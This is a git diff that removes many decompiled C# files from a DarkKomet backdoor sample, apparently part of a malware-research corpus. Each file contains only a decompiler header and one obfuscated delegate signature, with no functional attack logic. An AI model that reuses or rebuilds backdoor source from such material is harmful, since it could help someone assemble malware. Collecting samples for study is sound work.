100644 index af219e35..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0087_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‡ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate FieldInfo[] \u0087\u0003([In] object obj0, [In] BindingFlags obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0087_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0087_0004.cs deleted file mode 100644 index 80e4ddbd..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0087_0004.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‡ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using Microsoft.VisualBasic; -using System.Runtime.InteropServices; - -internal delegate void \u0087\u0004( - [In] int obj0, - [In] string obj1, - [In] OpenMode obj2, - [In] OpenAccess obj3, - [In] OpenShare obj4, - [In] int obj5); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0088_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0088_0002.cs deleted file mode 100644 index a34df58d..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0088_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ˆ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u0088\u0002([In] Array obj0, [In] int obj1, [In] Array obj2, [In] int obj3, [In] int obj4); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0088_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0088_0003.cs deleted file mode 100644 index fce5fc9c..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0088_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ˆ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate PropertyInfo \u0088\u0003([In] object obj0, [In] string obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0088_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0088_0004.cs deleted file mode 100644 index 0581588e..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0088_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ˆ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0088\u0004([In] int[] obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0089_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0089_0002.cs deleted file mode 100644 index f3aa6779..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0089_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‰ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate object \u0089\u0002([In] object obj0, [In] int obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0089_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0089_0003.cs deleted file mode 100644 index 5d6985e3..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0089_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‰ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate bool \u0089\u0003([In] Version obj0, [In] Version obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0089_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0089_0004.cs deleted file mode 100644 index d4cb2bf8..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0089_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‰ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0089\u0004([In] int obj0, [In] ref string obj1, [In] long obj2, [In] bool obj3); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008A_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008A_0002.cs deleted file mode 100644 index 4cd0ac02..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008A_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Š -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate int \u008A\u0002([In] object obj0, [In] int obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008A_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008A_0003.cs deleted file mode 100644 index ed59c08d..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008A_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Š -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate object \u008A\u0003([In] object obj0, [In] object obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008A_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008A_0004.cs deleted file mode 100644 index 65db8277..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008A_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Š -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate void \u008A\u0004([In] int obj0, [In] string obj1, [In] long obj2, [In] bool obj3); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008B_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008B_0002.cs deleted file mode 100644 index cf9c99b1..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008B_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‹ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate bool \u008B\u0002([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008B_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008B_0003.cs deleted file mode 100644 index 04ca8c7f..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008B_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‹ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate void \u008B\u0003([In] object obj0, [In] object obj1, [In] object obj2); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008B_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008B_0004.cs deleted file mode 100644 index 1296f057..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008B_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‹ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate long \u008B\u0004([In] int obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008C_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008C_0002.cs deleted file mode 100644 index 32d6de14..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008C_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Œ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate object \u008C\u0002([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008C_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008C_0003.cs deleted file mode 100644 index 26f5d29d..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008C_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Œ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate void \u008C\u0003([In] object obj0, [In] object obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008C_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008C_0004.cs deleted file mode 100644 index c6876f90..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008C_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Œ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate string \u008C\u0004([In] int obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008D_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008D_0002.cs deleted file mode 100644 index 3216e8bd..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008D_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate string \u008D\u0002([In] Type obj0, [In] object obj1, [In] string obj2); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008D_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008D_0003.cs deleted file mode 100644 index 97548d3e..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008D_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Diagnostics; -using System.Runtime.InteropServices; - -internal delegate StackFrame \u008D\u0003([In] object obj0, [In] int obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008D_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008D_0004.cs deleted file mode 100644 index 3dff830e..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008D_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Exception \u008D\u0004([In] int obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008E_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008E_0002.cs deleted file mode 100644 index 1f5d2125..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008E_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Ž -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate bool \u008E\u0002([In] string obj0, [In] string obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008E_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008E_0003.cs deleted file mode 100644 index b7fdad45..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008E_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Ž -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Diagnostics; -using System.Runtime.InteropServices; - -internal delegate StackFrame[] \u008E\u0003([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008E_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008E_0004.cs deleted file mode 100644 index f882a23f..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008E_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Ž -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u008E\u0004([In] Exception obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008F_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008F_0002.cs deleted file mode 100644 index a0386e13..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008F_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate char \u008F\u0002([In] object obj0, [In] int obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008F_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008F_0003.cs deleted file mode 100644 index b82ee087..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008F_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate MethodBase \u008F\u0003([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008F_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008F_0004.cs deleted file mode 100644 index eb1e7af7..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_008F_0004.cs +++ /dev/null @@ -1,7 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -internal delegate void \u008F\u0004(); diff --git 